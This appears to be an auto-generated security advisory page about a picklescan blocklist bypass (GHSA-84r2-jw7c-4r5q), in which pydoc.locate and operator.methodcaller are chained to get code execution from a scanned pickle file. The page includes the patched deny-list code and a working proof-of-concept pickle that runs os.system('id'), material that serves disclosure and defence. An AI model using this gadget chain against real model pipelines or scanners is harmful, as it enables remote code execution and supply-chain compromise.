CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-84R2-JW7C-4R5Q
9.3

Picklescan Security Bypass: Remote Code Execution via pydoc.locate

Alon Barad
Alon Barad
Software Engineer

Mar 1, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

Picklescan versions < 0.0.33 contain a critical bypass in their allowlist mechanism. By chaining `pydoc.locate` and `operator.methodcaller`, attackers can execute arbitrary code within a scanned pickle file, rendering the scanner ineffective. Users should upgrade to version 0.0.33 immediately.

A critical security bypass vulnerability exists in the `picklescan` library prior to version 0.0.33, allowing for arbitrary code execution. The library, designed to statically analyze Python pickle files for malicious content, utilized an incomplete blocklist of dangerous globals. Attackers can leverage the `pydoc.locate` function and `operator.methodcaller` class—both previously permitted—to dynamically resolve restricted modules (such as `os`) and execute commands. This effectively circumvents the security controls intended to prevent deserialization attacks.

Vulnerability Overview

Picklescan is a static analysis tool widely used in Machine Learning (ML) pipelines to inspect Python pickle files (and PyTorch models) for malicious code before loading them. The Python pickle format allows the execution of arbitrary code via the GLOBAL opcode, which imports and executes callables. Picklescan attempts to mitigate this risk by parsing the pickle bytecode stream and comparing referenced globals against a predefined list of safe and unsafe modules.

The vulnerability, identified as GHSA-84r2-jw7c-4r5q, represents a fundamental failure in this blocklisting strategy. While the scanner successfully blocked direct references to high-risk modules like os and subprocess, it failed to account for indirect resolution mechanisms available in the Python standard library. Specifically, the pydoc module—which was not fully blocked—provides the locate function, capable of importing arbitrary modules by string name.

This oversight allows an attacker to construct a "gadget chain"—a sequence of allowed function calls that ultimately results in the execution of forbidden code. By bypassing the static analysis, a malicious pickle file can pass as "safe" while containing a payload that executes immediately upon deserialization by a consumer trusting the scanner's verdict.

Root Cause Analysis

The root cause of this vulnerability lies in an incomplete denial list (CWE-184) within the picklescan.scanner module. The scanner operates by intercepting the GLOBAL opcode during the pickle parsing process. It checks the module and class names against a set of rules. If a module is not explicitly blocked, or if a specific function within a module is not flagged, the scanner permits it.

Prior to version 0.0.33, the scanner's configuration for the pydoc module was insufficiently restrictive. While it may have blocked specific sub-components, it did not block pydoc.locate. This function takes a string argument (e.g., "os" or "subprocess") and returns the corresponding Python object. This behavior effectively acts as a proxy for the import statement, which the scanner logic is designed to restrict.

Additionally, the scanner permitted operator.methodcaller. This class creates a callable object that, when invoked with an object as an argument, calls a specific method on that object. When combined, pydoc.locate allows the attacker to retrieve a reference to a restricted module (like os), and operator.methodcaller allows the attacker to execute a function on that module (like system), all without ever directly referencing os.system in the pickle stream in a way the scanner recognizes.

Code Analysis

The vulnerability existed in how src/picklescan/scanner.py defined its _unsafe_globals dictionary. The fix required expanding this dictionary to capture the exploitation primitives and improving the logic for handling wildcard blocks on submodules.

Vulnerable Logic (Conceptual): The scanner checked globals against a list. If pydoc was not wildcard-blocked (*), the scanner allowed access to functions not explicitly listed as unsafe. Since locate was missing from the unsafe set, it was permitted.

Patched Logic (Commit 70c1c6c): The patch introduces comprehensive blocking for pydoc and specific operator functions. It also improves the recursive resolution of parent modules to ensure submodules of blocked packages are also caught.

# src/picklescan/scanner.py
 
_unsafe_globals = {
    # ... existing rules ...
    
    # PATCH: Explicitly block dangerous operator functions
    "operator": {
        "attrgetter", 
        "itemgetter", 
        "methodcaller", # <--- Previously allowed, now blocked
    },
 
    # PATCH: Wildcard block for the entire pydoc module
    "pydoc": "*",       # <--- Captures pydoc.locate
    
    # PATCH: Additional hardening
    "ctypes": "*",
    "pty": "*",
}
 
# Improved wildcard logic for submodules
if unsafe_filter is None and "." in g.module:
    module_parts = g.module.split(".")
    # Iteratively check parents: a.b.c -> check a, then a.b
    for i in range(1, len(module_parts)):
        parent_module = ".".join(module_parts[:i])
        if _unsafe_globals.get(parent_module) == "*":
            unsafe_filter = "*"
            break

The key change is the wildcard assignment to pydoc. This ensures that any attempt to access pydoc.locate, pydoc.pipepager, or any other function in that namespace is immediately flagged as dangerous.

Exploitation Methodology

To exploit this vulnerability, an attacker must generate a pickle file that constructs a malicious object graph. The goal is to execute os.system('cmd') without the byte stream containing the literal string os in the module position of a GLOBAL opcode.

The Gadget Chain:

  1. Resolve os: The attacker uses pydoc.locate('os'). This returns the os module object. The scanner sees GLOBAL 'pydoc' 'locate', which was allowed.
  2. Prepare Execution: The attacker uses operator.methodcaller('system', 'id'). This creates a callable object that, when called with an argument x, executes x.system('id'). The scanner sees GLOBAL 'operator' 'methodcaller', which was allowed.
  3. Trigger: The pickle stream applies the methodcaller object to the os module object retrieved in step 1.

Proof of Concept:

import pickle
import pydoc
import operator
 
class Exploit:
    def __reduce__(self):
        # 1. Create a callable that runs .system('id') on its argument
        exec_system = operator.methodcaller('system', 'id')
        
        # 2. Resolve the 'os' module using pydoc.locate
        #    Note: pydoc.locate is the function, ('os',) are the args
        resolve_os = (pydoc.locate, ('os',))
        
        # 3. Apply exec_system to the result of resolve_os
        return (exec_system, (resolve_os,))
 
payload = pickle.dumps(Exploit())
# When 'payload' is scanned by picklescan < 0.0.33, it passes.
# When loaded, it executes the 'id' command.

This payload effectively creates a functional equivalent of a standard RCE pickle but obscures the imports in a way that the static analysis rules failed to detect.

Impact Assessment

The impact of this vulnerability is Critical (CVSS 9.3). picklescan is often deployed as a gatekeeper in environments that ingest untrusted machine learning models (e.g., Hugging Face Hub scanners, internal model repositories, or CI/CD pipelines).

Security Implications:

  • Remote Code Execution (RCE): Successful exploitation grants the attacker arbitrary code execution with the privileges of the process loading the pickle file. This often leads to full system compromise.
  • Security Control Bypass: The vulnerability renders the scanner ineffective. Organizations relying on picklescan to filter user-submitted models would be operating under a false sense of security.
  • Supply Chain Risk: If an attacker can bypass the scan, they can introduce backdoored models into a registry, potentially affecting downstream users who trust the registry's "scanned" status.

Because the vulnerability requires no authentication and can be exploited remotely by simply uploading a file, the risk is acute for any public-facing service utilizing picklescan.

Official Patches

mmaitre314Commit 70c1c6c: Update unsafe globals list

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Affected Systems

picklescan < 0.0.33Systems using picklescan to verify untrusted pickle filesMachine Learning model pipelines utilizing picklescan

Affected Versions Detail

Product
Affected Versions
Fixed Version
picklescan
mmaitre314
< 0.0.330.0.33
AttributeDetail
CWECWE-184 (Incomplete List of Disallowed Inputs)
CVSS v4.09.3 (Critical)
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
Affected Componentscanner.py (Safe/Unsafe Globals Logic)

MITRE ATT&CK Mapping

T1204.002Malicious File
Execution
T1059.006Python Interpreter
Execution
T1027Obfuscated Files or Information
Defense Evasion
CWE-184
Incomplete List of Disallowed Inputs

Known Exploits & Detection

Research ContextProof of concept using pydoc.locate and operator.methodcaller

Vulnerability Timeline

Fix commit pushed to repository
2025-12-26
GHSA-84R2-JW7C-4R5Q published
2025-12-29
Version 0.0.33 released on PyPI
2025-12-29

References & Sources

  • [1]GitHub Security Advisory GHSA-84r2-jw7c-4r5q
  • [2]PyPI: picklescan
  • [3]Python Pickle Module Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.